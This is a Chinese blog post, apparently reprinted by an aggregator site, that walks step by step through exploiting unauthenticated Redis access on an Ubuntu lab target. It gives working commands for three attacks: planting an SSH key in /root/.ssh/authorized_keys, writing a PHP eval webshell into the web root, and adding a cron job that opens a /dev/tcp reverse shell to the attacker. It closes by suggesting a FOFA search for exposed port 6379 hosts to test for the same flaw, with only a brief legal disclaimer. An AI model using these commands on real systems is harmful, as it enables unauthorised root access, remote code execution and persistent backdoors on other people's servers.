当前位置:网站首页>redis未授权访问(4-unacc)
redis未授权访问(4-unacc)
2022-08-02 03:25:00 【CHIAJ176】
声明:
禁止任何违法行为,任何违法行为与博主无关。旨在发散思维。
实验:
靶机:ubuntu(远程服务器)、攻击机(wsl2 kali)
扫描端口
使用massan快速扫描端口

发现存在6379端口,猜测这应该是redis服务

果不其然是redis服务端口
redis-cli -h 目标ip地址

从上图可以直接看到可以直接连接redis,并返回redis服务信息
这就是妥妥的redis未授权访问!
漏洞利用
利用姿势1,redis写入ssh公钥,获取操作系统权限
注意:docker环境利用失败,修改起来十分麻烦。因此利用未使用docker搭建的环境。

首先生成ssh私钥和公钥
在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
接下来在redis-cli的交互式shell下执行
config set dir /root/.ssh
config set dbfilename "authorized_keys"
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i id_rsa [email protected]
生成ssh私钥和公钥

通过redis未授权漏洞向靶机导入秘钥

ssh通过秘钥连接

写文件GetShell
写入一个string内容 set shell "<?php @eval($_POST['cmd']);?>" 设置备份目录 config set dir /var/www/html/ 设置备份文件名 config set dbfilename shell.php 保存文件到本地 save
通过redis未授权访问向网址存放webshell

成功写入文件
![]()
通过蚁剑连接

反弹shell
和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是test用户 set dbfilename test
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击者ip/监听端口 0>&1\n\n" config set dir /var/spool/cron/ config set dbfilename root save
登陆ubuntu查看计划任务,已经成功写入。但是发现计划中存在乱码,也就是这些乱码导致计划任务执行错误。这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。
之后在攻击者上监听,就能接收到反弹shell
原理:
俗话说:授人以鱼不如授人以渔。后序会写漏洞原理。
思考:
知道redis端口为6379,那么我们可以尝试在fofa上查找有哪些6379端口是开放的,并尝试一下是否存在未授权访问!
fofa查询端口6379:port="6379"

redis-cli连接一下,info查看。。。这就是妥妥的未授权访问!禁止违法行为!

未授权禁止利用!
参阅:渗透测试-Redis未授权访问漏洞之ubuntu反弹shell问题 - websec80 - 博客园 (cnblogs.com)
边栏推荐
- (3)Thinkphp6数据库
- 攻防世界—MISC 新手区1-12
- Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
- Masashi: 1 vulnhub walkthrough
- hackmyvm-random walkthrough
- c语言用栈实现计算中缀表达式
- (4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy
- 1. Beginning with PHP
- (5) 模块与包、编码格式、文件操作、目录操作
- ES6 three-dot operator, array method, string extension method
猜你喜欢

(1) introduction to Thinkphp6, installation view, template rendering, variable assignment

SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration

文件包含漏洞

Shuriken: 1 vulnhub walkthrough

VIKINGS: 1 vulnhub walkthrough

(1)Thinkphp6入门、安装视图、模板渲染、变量赋值

Offensive and defensive world - novice MISC area 1-12

12. What is JS
![[sebastian/diff] A historical change extension library for comparing two texts](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff] A historical change extension library for comparing two texts

DVWA靶机安装教程
随机推荐
14.JS语句和注释,变量和数据类型
战场:3(双子叶植物)vulnhub走读
Solve the problem of uni - app packaged H5 website to download image
QR code generation API interface, which can be directly connected as an A tag
[trendsoft/capital]金额转中文大写库
hackmyvm: controller walkthrough
Scrapy爬虫遇见重定向301/302问题解决方法
17. JS conditional statements and loops, and data type conversion
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
What are the PHP framework?
(1) the print () function, escape character, binary and character encoding, variables, data type, the input () function, operator
PHP Foundation March Press Announcement Released
[symfony/mailer] An elegant and easy-to-use mail library
CTF之xxe
阿里云MySQL5.7安装以及部分主要问题(总和)
Orasi: 1 vulnhub walkthrough
hackmyvm: again walkthrough
Turn trendsoft/capital amount of Chinese capital library
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
3.PHP数据类型、常量、字符串和运算符